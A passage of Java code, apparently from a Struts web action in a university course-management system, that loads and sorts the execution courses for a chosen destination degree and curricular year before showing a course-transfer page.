    String destinationExecutionDegreeId = (String) dynaActionForm.get("destinationExecutionDegreeId");
    String destinationCurricularYear = (String) dynaActionForm.get("destinationCurricularYear");

    if (isSet(destinationExecutionDegreeId) && isSet(destinationCurricularYear)) {

        InfoExecutionCourse infoExecutionCourse = (InfoExecutionCourse) request.getAttribute("infoExecutionCourse");

        List executionCourses =
                ReadExecutionCoursesByExecutionDegreeIdAndExecutionPeriodIdAndCurYear.run(destinationExecutionDegreeId,
                        infoExecutionCourse.getInfoExecutionPeriod().getExternalId(), new Integer(destinationCurricularYear));
        executionCourses.remove(infoExecutionCourse);
        Collections.sort(executionCourses, new BeanComparator("nome"));
        request.setAttribute("executionCourses", executionCourses);
    }

    return mapping.findForward("showTransferPage");
}